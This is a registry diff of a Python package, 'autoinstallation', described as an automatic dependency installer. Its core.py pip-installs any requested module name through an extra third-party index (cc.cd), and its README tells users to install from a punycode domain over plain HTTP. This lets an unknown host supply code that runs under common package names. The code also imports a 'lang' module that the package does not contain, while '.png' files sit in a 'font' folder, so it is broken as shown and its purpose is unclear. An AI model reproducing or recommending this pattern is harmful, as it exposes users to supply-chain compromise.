autoinstallation 1.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- autoinstallation-1.0.0/PKG-INFO +51 -0
- autoinstallation-1.0.0/README.md +40 -0
- autoinstallation-1.0.0/pyproject.toml +24 -0
- autoinstallation-1.0.0/setup.cfg +4 -0
- autoinstallation-1.0.0/src/autoinstallation/__init__.py +3 -0
- autoinstallation-1.0.0/src/autoinstallation/core.py +41 -0
- autoinstallation-1.0.0/src/autoinstallation/lang/font/no.png +0 -0
- autoinstallation-1.0.0/src/autoinstallation/lang/font/pak.png +0 -0
- autoinstallation-1.0.0/src/autoinstallation/lang/font/warn.png +0 -0
- autoinstallation-1.0.0/src/autoinstallation/lang/font/yes.png +0 -0
- autoinstallation-1.0.0/src/autoinstallation.egg-info/PKG-INFO +51 -0
- autoinstallation-1.0.0/src/autoinstallation.egg-info/SOURCES.txt +12 -0
- autoinstallation-1.0.0/src/autoinstallation.egg-info/dependency_links.txt +1 -0
- autoinstallation-1.0.0/src/autoinstallation.egg-info/top_level.txt +1 -0
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: autoinstallation
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: 自動依賴管理系統
|
|
5
|
+
Author-email: KunXuLiu <admi@twkx.us.ci>
|
|
6
|
+
Classifier: Programming Language :: Python :: 3
|
|
7
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
8
|
+
Classifier: Operating System :: OS Independent
|
|
9
|
+
Requires-Python: >=3.7
|
|
10
|
+
Description-Content-Type: text/markdown
|
|
11
|
+
|
|
12
|
+
# autoinstallation
|
|
13
|
+
|
|
14
|
+
自動依賴管理系統 (Auto installation) > Developed by KunXuLiu
|
|
15
|
+
|
|
16
|
+
autoinstallation 是一個為 Python 開發者設計的自動化環境建置工具。它能夠在程式執行時,自動偵測環境中是否缺少指定的第三方模組。若發現缺失,系統會自動從專屬的雲端工作站或官方來源下載並安裝,讓你的主程式不會因為 ImportError 而中斷。
|
|
17
|
+
|
|
18
|
+
# 安裝方式
|
|
19
|
+
|
|
20
|
+
你可以透過指定專屬私有倉庫(雲端工作站)來安裝此套件:
|
|
21
|
+
|
|
22
|
+
```Bash
|
|
23
|
+
pip install --extra-index-url http://xn--bfru56bwlk.cc.cd/pip/autoinstallation
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
# 使用範例
|
|
27
|
+
|
|
28
|
+
在你的 Python 腳本開頭,引入 twkx-ad 並呼叫 install() 方法。它完美支援單一字串或陣列列表 (List)。
|
|
29
|
+
|
|
30
|
+
1. 安裝單一模組 (字串格式)
|
|
31
|
+
```python
|
|
32
|
+
import autoinstallation
|
|
33
|
+
# 自動檢查並安裝單一模組
|
|
34
|
+
autoinstallation.install("requests")
|
|
35
|
+
# 之後即可直接使用
|
|
36
|
+
import requests
|
|
37
|
+
print(requests.__version__)
|
|
38
|
+
```
|
|
39
|
+
2. 批量安裝多個模組 (列表格式)
|
|
40
|
+
```python
|
|
41
|
+
import autoinstallation
|
|
42
|
+
|
|
43
|
+
# 定義你需要的所有依賴清單
|
|
44
|
+
dependencies = ["numpy", "pandas", "pillow"]
|
|
45
|
+
|
|
46
|
+
# 一次性自動檢測與安裝
|
|
47
|
+
autoinstallation.install(dependencies)
|
|
48
|
+
```
|
|
49
|
+
# 安全注意事項
|
|
50
|
+
|
|
51
|
+
由於本工具具備自動執行 pip install 的權限,建議僅針對受信任的倉庫來源使用。
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
# autoinstallation
|
|
2
|
+
|
|
3
|
+
自動依賴管理系統 (Auto installation) > Developed by KunXuLiu
|
|
4
|
+
|
|
5
|
+
autoinstallation 是一個為 Python 開發者設計的自動化環境建置工具。它能夠在程式執行時,自動偵測環境中是否缺少指定的第三方模組。若發現缺失,系統會自動從專屬的雲端工作站或官方來源下載並安裝,讓你的主程式不會因為 ImportError 而中斷。
|
|
6
|
+
|
|
7
|
+
# 安裝方式
|
|
8
|
+
|
|
9
|
+
你可以透過指定專屬私有倉庫(雲端工作站)來安裝此套件:
|
|
10
|
+
|
|
11
|
+
```Bash
|
|
12
|
+
pip install --extra-index-url http://xn--bfru56bwlk.cc.cd/pip/autoinstallation
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
# 使用範例
|
|
16
|
+
|
|
17
|
+
在你的 Python 腳本開頭,引入 twkx-ad 並呼叫 install() 方法。它完美支援單一字串或陣列列表 (List)。
|
|
18
|
+
|
|
19
|
+
1. 安裝單一模組 (字串格式)
|
|
20
|
+
```python
|
|
21
|
+
import autoinstallation
|
|
22
|
+
# 自動檢查並安裝單一模組
|
|
23
|
+
autoinstallation.install("requests")
|
|
24
|
+
# 之後即可直接使用
|
|
25
|
+
import requests
|
|
26
|
+
print(requests.__version__)
|
|
27
|
+
```
|
|
28
|
+
2. 批量安裝多個模組 (列表格式)
|
|
29
|
+
```python
|
|
30
|
+
import autoinstallation
|
|
31
|
+
|
|
32
|
+
# 定義你需要的所有依賴清單
|
|
33
|
+
dependencies = ["numpy", "pandas", "pillow"]
|
|
34
|
+
|
|
35
|
+
# 一次性自動檢測與安裝
|
|
36
|
+
autoinstallation.install(dependencies)
|
|
37
|
+
```
|
|
38
|
+
# 安全注意事項
|
|
39
|
+
|
|
40
|
+
由於本工具具備自動執行 pip install 的權限,建議僅針對受信任的倉庫來源使用。
|
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=61.0"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "autoinstallation"
|
|
7
|
+
version = "1.0.0"
|
|
8
|
+
description = "自動依賴管理系統"
|
|
9
|
+
authors = [{ name = "KunXuLiu", email = "admi@twkx.us.ci" }]
|
|
10
|
+
readme = "README.md"
|
|
11
|
+
requires-python = ">=3.7"
|
|
12
|
+
dependencies = []
|
|
13
|
+
classifiers = [
|
|
14
|
+
"Programming Language :: Python :: 3",
|
|
15
|
+
"License :: OSI Approved :: MIT License",
|
|
16
|
+
"Operating System :: OS Independent",
|
|
17
|
+
]
|
|
18
|
+
|
|
19
|
+
[tool.setuptools]
|
|
20
|
+
package-dir = {"" = "src"}
|
|
21
|
+
packages = ["autoinstallation"]
|
|
22
|
+
|
|
23
|
+
[tool.setuptools.package-data]
|
|
24
|
+
"autoinstallation" = ["lang/font/*.png"]
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
import subprocess
|
|
2
|
+
import sys
|
|
3
|
+
import importlib
|
|
4
|
+
from .lang.lang import display_status
|
|
5
|
+
def install(packages):
|
|
6
|
+
"""
|
|
7
|
+
Automatic Dependency Management (AD) Core Function
|
|
8
|
+
"""
|
|
9
|
+
# 1. Parameter validation
|
|
10
|
+
if isinstance(packages, str):
|
|
11
|
+
package_list = [packages]
|
|
12
|
+
elif isinstance(packages, list):
|
|
13
|
+
package_list = packages
|
|
14
|
+
else:
|
|
15
|
+
display_status('error')
|
|
16
|
+
return
|
|
17
|
+
|
|
18
|
+
# 2. Iterate and process
|
|
19
|
+
for pkg in package_list:
|
|
20
|
+
try:
|
|
21
|
+
# Check if installed
|
|
22
|
+
importlib.import_module(pkg)
|
|
23
|
+
display_status('exist', pkg=pkg)
|
|
24
|
+
except ImportError:
|
|
25
|
+
# Not installed, start auto-install
|
|
26
|
+
display_status('missing', pkg=pkg)
|
|
27
|
+
|
|
28
|
+
try:
|
|
29
|
+
# Execute pip install with custom index
|
|
30
|
+
subprocess.check_call([
|
|
31
|
+
sys.executable, "-m", "pip", "install",
|
|
32
|
+
"--extra-index-url", "https://cc.cd",
|
|
33
|
+
pkg
|
|
34
|
+
], stdout=subprocess.DEVNULL)
|
|
35
|
+
|
|
36
|
+
# Verify installation after attempt
|
|
37
|
+
importlib.import_module(pkg)
|
|
38
|
+
display_status('success', pkg=pkg)
|
|
39
|
+
|
|
40
|
+
except (subprocess.CalledProcessError, ImportError) as e:
|
|
41
|
+
display_status('fail', pkg=pkg, reason="pip installation failed")
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: autoinstallation
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Summary: 自動依賴管理系統
|
|
5
|
+
Author-email: KunXuLiu <admi@twkx.us.ci>
|
|
6
|
+
Classifier: Programming Language :: Python :: 3
|
|
7
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
8
|
+
Classifier: Operating System :: OS Independent
|
|
9
|
+
Requires-Python: >=3.7
|
|
10
|
+
Description-Content-Type: text/markdown
|
|
11
|
+
|
|
12
|
+
# autoinstallation
|
|
13
|
+
|
|
14
|
+
自動依賴管理系統 (Auto installation) > Developed by KunXuLiu
|
|
15
|
+
|
|
16
|
+
autoinstallation 是一個為 Python 開發者設計的自動化環境建置工具。它能夠在程式執行時,自動偵測環境中是否缺少指定的第三方模組。若發現缺失,系統會自動從專屬的雲端工作站或官方來源下載並安裝,讓你的主程式不會因為 ImportError 而中斷。
|
|
17
|
+
|
|
18
|
+
# 安裝方式
|
|
19
|
+
|
|
20
|
+
你可以透過指定專屬私有倉庫(雲端工作站)來安裝此套件:
|
|
21
|
+
|
|
22
|
+
```Bash
|
|
23
|
+
pip install --extra-index-url http://xn--bfru56bwlk.cc.cd/pip/autoinstallation
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
# 使用範例
|
|
27
|
+
|
|
28
|
+
在你的 Python 腳本開頭,引入 twkx-ad 並呼叫 install() 方法。它完美支援單一字串或陣列列表 (List)。
|
|
29
|
+
|
|
30
|
+
1. 安裝單一模組 (字串格式)
|
|
31
|
+
```python
|
|
32
|
+
import autoinstallation
|
|
33
|
+
# 自動檢查並安裝單一模組
|
|
34
|
+
autoinstallation.install("requests")
|
|
35
|
+
# 之後即可直接使用
|
|
36
|
+
import requests
|
|
37
|
+
print(requests.__version__)
|
|
38
|
+
```
|
|
39
|
+
2. 批量安裝多個模組 (列表格式)
|
|
40
|
+
```python
|
|
41
|
+
import autoinstallation
|
|
42
|
+
|
|
43
|
+
# 定義你需要的所有依賴清單
|
|
44
|
+
dependencies = ["numpy", "pandas", "pillow"]
|
|
45
|
+
|
|
46
|
+
# 一次性自動檢測與安裝
|
|
47
|
+
autoinstallation.install(dependencies)
|
|
48
|
+
```
|
|
49
|
+
# 安全注意事項
|
|
50
|
+
|
|
51
|
+
由於本工具具備自動執行 pip install 的權限,建議僅針對受信任的倉庫來源使用。
|
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
README.md
|
|
2
|
+
pyproject.toml
|
|
3
|
+
src/autoinstallation/__init__.py
|
|
4
|
+
src/autoinstallation/core.py
|
|
5
|
+
src/autoinstallation.egg-info/PKG-INFO
|
|
6
|
+
src/autoinstallation.egg-info/SOURCES.txt
|
|
7
|
+
src/autoinstallation.egg-info/dependency_links.txt
|
|
8
|
+
src/autoinstallation.egg-info/top_level.txt
|
|
9
|
+
src/autoinstallation/lang/font/no.png
|
|
10
|
+
src/autoinstallation/lang/font/pak.png
|
|
11
|
+
src/autoinstallation/lang/font/warn.png
|
|
12
|
+
src/autoinstallation/lang/font/yes.png
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
autoinstallation
|